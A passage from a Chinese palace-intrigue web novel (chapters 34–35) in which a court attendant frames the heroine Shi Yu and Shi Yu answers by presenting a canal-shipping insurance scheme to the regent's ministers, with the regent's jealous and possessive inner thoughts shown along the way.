王阳油滑地回答道,此法子只有时毓能讲得清,奴才听过一遍,觉得很有道理,但没记住。 虞衡此时并不想见时毓。 王阳这番讨巧的含糊回答,让他也觉得时毓根本没有好法子,这不过是她‘最后一次努力’中的一环。 见了面,无非像往常一样,哭哭啼啼地认错,诅咒发誓说再也不纠缠他,本分做人,然后再找机会扑上来。 亦或者,从她那几本可笑的书上学了新的损招。 他厌极了那张虚情假意的脸,更厌极了为她牵动心绪的自己。 他没有召见时毓,干脆出行宫,去漕运司亲自部署江防。 待他披星戴月回到行宫,却见琳琅匆匆来报,时毓妄图翻墙离开,不慎从墙头上摔落,伤势极重,已快不行了。 34. 第 34 章 一个时辰前,时毓正在屋里奋笔疾书,门忽然被撞开,玲珑领着两个粗壮宫婢并两个魁梧太监闯进来,张口便说她屋里藏了外男,在行宫里行污秽之事,要将她就地正法。 无论她如何辩解、求饶、甚至厉声斥责,玲珑却始终冷着脸,眼皮都没动一下。 宫婢上前堵了她的嘴,太监用麻绳捆住她手脚,四人合力将她往院墙边抬。 墙边早已搭了梯子,他们竟要将她扔到墙外摔死! 时毓想不通,若真要她死,一刀封喉或是一杯毒酒,岂不干净利落?何苦这般大费周章? 需知那行宫院墙近一丈高,梯子也不牢固,要把个大活人抬上去就不易,再顺利扔出墙外更是难上加难。 她虽被缚,求生本能却激出蛮力,像条离水的鱼般翻滚挣扎,连带着抬她的人几次摔作一团。有个太监滚下去时后脑撞在石阶上,当场翻了白眼;玲珑亲自补位,也被她两脚踹得跌下梯子。 这般折腾了小半个时辰,几人皆狼狈不堪。许是终于发现这样行不通,他们竟又将她抬回房中,摁在榻上,却也只是摁着,没有上刀子或干脆勒死她。 玲珑甚至带着太监退出,只留两个宫婢摁着她。不多时又来了个小宫婢,进门就杵在门口,反反复复重复着一句话,像在背台词。 没过多久,外头传来一声做作的咳嗽。 而那小宫婢接收到这个暗号后,果然像被按下按钮,忽然叫嚷着‘掌事!这时毓真是太会做戏,咱们又被她骗了,她根本没事——”跑了出去。 时毓简直被他们这一连串莫名其妙的操作给看傻了,直到听那小宫婢唤了声‘殿下’,骤然反应过来,虞衡来了!救星来了! 她立即便要大声呼救,这才发现嘴巴的布条松了,手脚上的捆绑也松了,当即跳起来往外跑—— 跑到门口发现没人追上来,她还抽空回头看了一眼,却见方才凶神恶煞的两个老宫婢,竟已换了老实人嘴脸,毕恭毕敬地站在她床边。 她心里的疑惑放大到了极点,但当下也顾不上解惑,全力扑到虞衡身上,把他当成唯一的救命稻草:“殿下救我!” * 昨晚时毓出宫,至少被三方人马盯着。 琳琅也布下眼线,实时掌握着她的一举一动。 五个时辰前,琳琅根据各方汇总来的信息,拼凑出昨夜全貌: 她邀蔺大家在殿下寝殿弹箜篌,成功激得时毓出宫,也成功引来了不轨之徒。却不想,殿下竟在时毓身边安了影卫。影卫不仅悄悄保护时毓,还将时毓与陌生男子勾连的消息传回,使得殿下醋意大发,亲自追出宫去。回宫路上却不知时毓如何触怒了殿下,殿下独返。时毓迟迟未归,令殿下坐立难安,于是再度出宫寻觅,直至破晓方归。而此时时毓却早已返回,安然入睡,殿下一怒之下将其囚禁。 三个时辰前,织染署令王阳替时毓传话,以疏通南北商路为由,欲请殿下解其禁足,反遭训斥。 殿下离宫后,琳琅在他案几上翻出几张写满潦草大字的纸。 “虚伪”“薄情”“奸滑”等字眼力透纸背,足见落笔时恼意十足。 其间还夹着一幅小画。笔触虽草,却极传神:画中人手长脚长,背了个斜挎布包,包上晃晃悠悠挂着一只布缝的小黑猫。眉眼身形分明是时毓,神态却被刻意勾勒得轻佻又市侩,较之上次那幅灵动狡黠的画像,如今这幅明显俗媚丑陋。 她知道,殿下终于看透了这女子的虚伪、浅薄与不堪,厌憎已生。此刻,正是将时毓一竿子打死的最佳时机。 但她绝不会脏自己的手。 正如从前弄死殿下身边其他女人一样。 她要做的,是加深殿下心中每一点厌恶,让殿下亲自杀死时毓,这样他就永远不会怀念她。 于是她命人戴上兽纹傩面,翻墙潜入时毓院中;再让玲珑带人“捉奸”,制造时毓引人私闯行宫,白日宣淫,被发现后仓惶欲逃的假象。 她要让殿下相信,这女子轻浮放浪,人尽可夫。 她亲自向殿下禀报“时毓翻墙濒死”,再让小宫婢“无意”戳破时毓装死——让殿下看清这女子何等狡诈善演。 最后,时毓必会在殿下面前百般辩白、哭诉求饶。而殿下,只会愈觉她满口谎言,无一字可信。 这三步棋落下,时毓必死无疑。 琳琅太了解虞衡了,所以几乎算无遗策。 事情正如她所料,一步一步朝着预设的结局滑去。 此刻,时毓那句“殿下救我”,落在虞衡耳中无异于贼喊捉贼、倒打一耙。 虞衡眼里毫无温度。 如果说先前在她身上发现的那些卑劣行径,如同瓷器上几道碍眼的裂痕,尚可修补——那现在,那些裂痕已彻底崩开,碎得再也拼凑不回原来的形状,更谈不上令他像从前一般喜爱了。 “你让孤如何救你?把你绑在床上,还是找条铁链,拴在床腿上?” 时毓被他眼中毫不掩饰的厌恶与彻骨的寒意慑住,浑身一颤,踉跄后退时竟绊到自己,重重跌坐在青石板上。尾椎骨传来碎裂般的锐痛,眼泪瞬间涌了上来。 可比起疼痛,那种被整个世界遗弃的孤独与无依,才更让她恐惧绝望。 这深宫之中,有人要她死得不明不白,而她毫无还手之力。更可怕的是,她视为唯一浮木的这个人,根本无意救她。 是啊,凭什么觉得他会护着她?只因在一张床上睡过吗?于他而言那是恩赐,不是承诺。 他曾数次对她动过杀心,肆意践踏她的尊严,何曾真正在乎过她的死活? 只是出于人道主义关怀,屈尊背了她一会儿,吩咐太医来治疗,不代表什么。 是她一个人飘零异世太孤独,总想抓住点什么,才产生了不切实际额的幻想。 “说话!”虞衡猛地俯身逼近,狠狠掐住她下巴,厉声质问:“是你千方百计来到孤面前,用尽手段爬上孤的榻,如今为何要逃?瘸着腿都要逃,你急着逃去哪儿,见谁?!” 强大的压迫感将时毓眼眶里的泪硬生生逼了回去。 她嘴唇发颤,声音细碎:“奴婢没想逃……若真想逃,昨夜怎敢顶着殿下的雷霆之怒,一瘸一拐地挪回来?是玲珑带人闯进来,捆了奴婢就往墙外扔……” “时毓!”玲珑装作震惊,高声反驳,“你怎能如此颠倒黑白?!明明是你引外人私闯行宫,被我撞破后,怕担罪责才慌不择路要翻墙出逃,失足摔下险些丧命!” 她伸手指向满院子的宫婢太监,“这里这么多双眼睛看着呢!方才若不是我不顾危险在墙下托了你一把,你可真就没命了!你不感恩便罢,怎能反咬我一口?!我真想不到世上竟有你这般狼心狗肺的人!!” 时毓瞪大眼睛呆呆看着她奥斯卡影后级别的表演,想要继续辩解,却瞥到虞衡身后,琳琅正静静站在那里。 唇角噙着一道几不可察的弧度,眼神冰冷又得意。 她明白了。 王阳对她说过,琳琅对殿下 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他的眼神再次冷下来,“想让孤信你,你扪心自问,可曾对孤说过一句实话?” 时毓忽然笑了。 那笑很轻,很短,像黑夜中一闪而过的流星。 她笑自己天真愚蠢,笑自己能力撑不起野心。连虞衡身边的奴才都摆不平,竟妄想搞定这个权倾天下的王。还妄想效仿吕后武曌,指望通过征服一个男人攫取权柄,用实实在在的权力终结这惶惶无依的飘零命途。 太可笑,也太可悲了。 得,有多大能力过什么日子吧。 虞衡敏锐地察觉到,这一笑之后,她看他的眼神彻底变了。 之前那些虚伪的讨好、刻意的勾引,乃至方才的惊恐与慌乱,全部褪得干干净净。 同样消失的,还有那一丝卑微的期待。 她整个人忽然松懈下来,像绷到极致的弦忽然断了,却意外地呈现出一种近乎从容的平静。 怎么?难道她笃定他即便盛怒也下不了杀心? “殿下。”她唤了他一声,面上呈现他从未见过的坦然和理智,“您会在意朝中大臣的私德吗?会因某个能臣翻墙私会女子,便弃之不用吗? 假使我果真如您所想的这般卑劣,但我能改善南北商路,助您解决漕运顽疾,甚至……为您拨开迷雾,找到铲除背后猛虎的方向,您还会因为今日这点‘破事儿’,对我喊打喊杀么?” 风穿过庭院,卷起她凌乱的头发。 她抬手拂过,慢条斯理得掩到耳后,一一扫过琳琅,玲珑,扫过满院子垂首而立的宫婢太监,这些表面是人,随时可化身食人野兽的东西,共同构建了一个布满荆棘的囚笼,现在她要拼着皮开肉绽、骨肉分离,挣脱它。 她不跟她们玩了。 她重新望向虞衡:“从前奴婢太想做您的女人,走了很多弯路,丢了太多东西。以后我,只想有尊严的活着。我将重振漕运之策放在枕头下了,我相信殿下一定不会不在意江南万千百姓的生计,一定需要江南这个大金库,来对付您背后的猛虎。您不妨看过之后,再决定要不要杀我。至于她们强加给我的这些污名,我不在乎,无需劳烦殿下再调查了。” 虞衡心头一震。 在如此狼狈、如此被动的情形下,她竟能完全跳出“被审判”的绝境,,让自己坐到谈判桌的对面。 他好像从未真正认识她。 35. 第 35 章 “殿下,各位大人,江南漕运之困,表面看是水匪截道,本质是风险无人承担。商贾不敢出货,船主不敢行船,因为一次翻船便是倾家荡产,这风险,单凭个人或一家根本扛不住。” 时毓褪去了一身宫装,穿回她当初从徐府来到虞衡身边时,穿的那套粗布麻衣,不施粉黛却唇红齿白,眉宇间英姿勃发,兼具雌雄之美。 她站在议事厅中央,上对着整个王朝的实际主宰,威压凛然的摄政王,周围则环绕着摄政王此次南巡携带的几乎全部机要重臣,文臣峨冠博带、眸光锐利,武将铠甲铿锵、气势沉雄,满室皆是经年宦海磨出的肃杀与机锋。 她举手投足间从容老练,既无世家贵女的矜骄端持,也无寒门女子的局促畏缩,开口时声音洪亮,吐字清晰,就像早已熟悉这样的场面。 众人知道她是晋陵豪绅献给摄政王的艺伎,也见过她献艺的画面,可她身上并无常年抛头露面的风月媚俗,却不知这样的胆色智慧从何而来。 “我所献之策,名为‘漕运保险’。”时毓借了虞衡平日查看舆图的木架,,指着贴在上面的企划书道:“所谓保险,即对风险的保障,本质是集众家之财,解一家之难,核心在于‘风险共担’,凡从朝廷核准码头启航、并登记在册的合规商船,皆可依其货值,缴纳定额保费,购入此险。所缴钱款,尽数汇入‘共济基金’。若参保船只于航行途中遇匪、遇险、或遭天灾受损,即可凭契据,按章程从这‘共济基金’中获取相应赔付。此举,可保船主不至因一次意外而血本无归,家业尽毁。” 稍作停顿,她清晰道出此策三大优势: “其一,稳商心。商贾知有托底,敢投资敢发货,船家知失有所偿,敢闯风浪。人心一定,漕运自通。” “其二,聚民财。此险不仅保船,亦可保货,乃至保航路平安。商户、漕帮、乃至依漕运为生的相关行当,皆可自愿投保。这些钱财聚集到共济基金里,由官府监管、商户共治,账目公开,每笔收支皆可追溯,杜绝贪腐。” “其三,”她指尖重重落在最后一行大写加粗的字上,“养水师!” 此言既出四座皆惊。 商道钱谷尚属“民务”之畴,而水师,无论规模大小,都算社稷干城、权之基石,绝非闺阁女子、乃至寻常文臣能够置喙的禁域! 堂下诸公神情骤变,惊疑之声在厅内嗡然荡开。 御座之上,虞衡的身体几不可察地向前一倾。 他原本随意搭在扶手上的手臂,此刻已压在了身前案几之上,形成一个极具压迫感的姿态。玄色广袖垂落,恰好遮住了他倏然握紧的拳峰。 平日里深邃如寒潭的眼睛,此刻亮得惊人,如寒夜中骤然点燃的烽燧,灼灼目光牢牢锁住舆图架旁那抹高挑挺拔的青影。 她能通商道,已是奇才;能理财政,堪称国士;若还能谋兵事……这便不止是才,而是近乎妖了! 半晌,虞衡缓缓开口,声音里带着一丝不易察觉的沉凝与期待,淡淡道:“说下去。” 时毓点点头,面容沉静,语气波澜不惊,言辞却越发犀利:“朝廷从共济基金中抽成,专用于组建护航水师。如今江南百业待兴,朝廷府库为剿匪已近空虚,实难再拨巨资常年供养一支精锐水师。然剿匪护船,非重饷不能募死士,非厚赏不能砺精兵。此策之妙,在于水师之饷,不取于国库,而源于商船之平安。须知,船行越平安,出险越少,‘共济基金’之盈余便越多,从中计提的水师专饷自然愈厚。饷足则兵精,兵精则匪畏,航路遂安——如此,剿匪护漕,便从朝廷一肩独扛之苦役,变成了商户、船家、水师三者利益相连、休戚与共的活局。” 她话音一落,行宫议事厅内鸦雀无声。 死寂之中,数道复杂难言的目光,悄然投向御座之上的摄政王:我的王,开恩科组水师的想法,您前日才于小范围内提及,当时赞成者并不多,主要是因为养水师的钱从哪儿来还没有着落,有人说加税,有人让从织造坊出,还有的干脆让中央下拨,您都没有点头。可原来,您早有定论,此等关乎国运兵权的庙算,您不付枢臣,不询阁老,竟先与这无名无分的爱宠说了,您这么做置朝纲于何地?置我等股肱之臣于何地? 虞衡将他们的质疑尽收眼底。 他身形未动,只将搭在案几上的手臂缓缓收回,下颚微扬,眸光扫过下方,视线平静,却带着千钧中重压,无声地碾过每一道目光——孤如何行事,需要向尔等解释吗? 然而,无人窥见的内心深处,却像火山喷发般地动山摇。 虽然她曾坦白,《春江花月夜》非她做作,但虞衡从未质疑她的才华。这个漕运保险,绝不是别人教给她的,只能是她自己想出来的,因为这种分担风险的思维,就是她的生存法则——正如前夜她同阿哲说的那般,她习惯给自己上份保险。 他能预想到,这“曹运保险”一旦落地,将如何盘活江南、充盈国库、稳住万千商户之心。这是帝王梦寐以求的治世良方,竟被他榻上的女子,捧到了眼前。 他可以确信无人与她说过组建水师的构想,是她自己想到的,她能与他不谋而合,甚至更添精妙,令他内心油然生出一股子骄傲来。 不愧是孤一眼看中的人。 终于,他没忍住,开口道:“孤从未向她吐露过半分国朝军政要务,她不过是偶然救助了一名家道中落导致生活悲苦的绣娘,便见微知著,怀慈悲而济万民,才想出这般经天纬地的妙策。” 摄政王素来乾纲独断,因此诸大臣听得分明,这几句根本不是解释,分明是炫耀。 也就是说,他们这些饱读诗书、自诩经世济国的肱骨大臣,解决不了的困难,真被这个,当初靠哗众取宠和谄媚逢迎,走进殿下视线的艺伎解决了? 这个看上去完美得近乎妖异的策略,真就那么无懈可击? 因为出自女子之口,而非男人之思,大臣们本能得怀疑起来。 宰相后备役——参知政事,立即带领各部门主事探讨起来。 他们时而热烈讨论,时而向时毓讨教。 虞衡看他们目光火热盯着时毓,或激赏,或探究,或膜拜,而时毓不骄不躁,耐心十足,甚至十分享受被围观,心里慢慢变了滋味。 一股熟悉的妒火,瞬间吞没了方才所有的惊艳与激动。 虞衡随手抓起案几上的佛珠,指腹用力碾过温润的珠子,没过几秒,便将珠串易手,原本捻珠的那只手,悄无声息地按住腰上佩剑,杀气四溢。 不知怎么的,他竟在这样的时候,想起了那晚她伏在自己背上,四肢紧紧缠着自己,滚烫湿滑小舌在自己咽喉滑过,还有那句令人骨头苏掉的‘奴婢还买了一本名家春宫,殿下今夜可愿与奴婢同观’。 这本未曾得见的春宫画,也挑起了他十足的好奇。 一股灼热在下腹又蹿,数日没有晨勃的器具,激动不已。 他忽然后悔,那夜为何要将她扯下,而不是深入到底。 欲念愈炽,独占的疯狂便愈烈。 “锵——” 一声极轻的、金属摩擦的锐响。 腰间佩剑,竟在他无意间,被拔出了三寸。 一截寒光凛冽的剑身映着他眼底翻涌的黑暗,也映出下方那些‘觊觎’的目光。 那些目光分明没有任何狎昵邪念,在他看来,却过分赤裸灼热。她明明包裹得严严实实,那衣服甚至破旧不堪,他却觉得她过分招蜂引蝶。 他想杀光所有觊觎者,将她拽回身后那重重帷幕之中,锁进只有他一人能抵达的深殿,日夜挞伐,把她干得没有一丁点逃跑的力气,只能像只初生的猫咪一样嘤嘤求饶。 一丝尖锐的刺痛自小指传来。 他垂眸。 殷红的血珠正从指尖沁出,顺着手掌蜿蜒而下,流过腕骨,滴落肘弯,在玄色衣袖上洇开暗沉的痕迹。 是剑锋无意划破了手指。 疼痛稍稍唤醒了他的理智,他缓缓将那三寸寒光推回鞘中,同时也将那股毁灭一切的疯狂,一寸寸压回心底。 时毓凭本事坐到了谈判桌上,身为摄政王,他不能随心所欲地将她推下去,得以国朝未来,以江南万民生计为重。 这个保险,必须让她推行下去。 她回答大臣们的问题中,饱含一些石破天惊、闻所未闻的概念,诸如‘风险共担”、“概率精算”、“资金池循环”等等,除了她,无人能真正讲清。 他暂时不能……把她藏起来。 他也绝不允许任何人,胆敢觊觎她!哪怕是偷偷想想也不行! 更不允许她,生出半分逃离他掌心的念头! ‘以前太想做您的女人,以后只想有尊严地活着’? 什么意思?以后不做了? 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“具本”二字,他咬得极重。这意味着,所有答疑交流,都必须通过正式、公开、能留痕的方式进行。私下请教、口头探讨,皆被无形禁止。 他顿了顿,目光定在时毓身上,刻意强调她的身份,“孤,会令爱妾,将诸般解答,逐一落在纸面,朱批附后。如此,既可反复研读,以免遗忘,亦能杜绝曲解,以正视听。” 说罢,不容置疑地摆摆手:“各自去忙吧。” 公卿如潮水般退出大殿,一直在殿外偷听的琳琅也迈开灌了铅的双腿离开。 “怎么样?殿下可有戳破她的牛皮?公卿们是不是狠狠嘲讽了她?”玲珑急急迎上来,紧张又期待地抓住琳琅的衣袖。 琳琅神色奇怪地看着她,没有说是,也没有说不是,半晌才主抓她的手道:“玲珑,你觉得殿下待我如何?” 玲珑心往下一沉,还是勉励笑道:“这还用问吗?姐姐此后殿下近二十年,陪殿下走过最难的岁月,知晓殿下所有的秘密,是殿下最信任,甚至唯一信任的人。殿下离不开姐姐,无论发生任何事,他都会护着姐姐。” 琳琅微笑着点点头:“不错。自皇太后殡天,谢家小姐入宫为才人后,我便是殿下身边唯一的亲人。没有任何人,能离间我们,没有任何人能超越我在他心中的地位。无论发生什么事,殿下一定会护着我。” 她抬眼,殷切地嘱咐:“所以玲珑,如果殿下彻查昨日我们嫁祸时毓地那些事,你便一力承担下来吧,有我在,他定不会重罚你,顶多将你降职,再加一顿板子——你不必害怕,打板子的要么是我的人,要么是王禄的人,不会令你受苦的。等过段时间他气消了,我自有办法让你回到我身边。” 玲珑身子剧烈一颤,如坠冰窟。 她见过殿下的雷霆手段,这五年来,在他跟前犯错后唯一没有处死的女人只有时毓,但时毓是他的药引,自己却什么都不是。一旦承认罪行——琳琅的意思,分明是要她全部揽到自己身上,殿下当真会饶了她吗? 然而琳琅的目光慢慢变冷,分明还有威胁之意。 她明白,答应下来,至少有琳琅保她,不答应,琳琅也会全部推到她身上,届时她必死无疑。 “姐姐放心,此事本来就是我擅作主张,与姐姐毫无关联。” 琳琅拍了拍她的收,转身望向窗外。 今日是个阴天啊。铅灰色的云层低低压着飞檐斗拱,将整个行宫笼罩在一片沉郁的灰白之中。潮湿的气息顺着窗缝钻进来,像从坟墓里钻出来的恶鬼,带着彻骨的寒意缠上她,啃噬着她的灵魂和体温,怎么都摆脱不掉。 ‘爱妾’,这个刺耳的称呼像一把刀凌迟着她。 殿下究竟在想什么?她全然看不透了。 他素来最恨欺骗与背叛,不是吗?可如今真相未明,时毓还背负着‘荒淫放荡’‘弃主而逃’的污名,他为何反倒当着满朝公卿的面,将那份迟迟不肯予的名分,轻易给了时毓? 他本该嫌她脏污才是。 即便要借她的才华济世,大可以‘戴罪立功’的由头将她拿捏,何需如此? 议事厅内,立于中央的时毓,看着缓缓朝自己走来的虞衡,心中也盘旋着同样的疑问。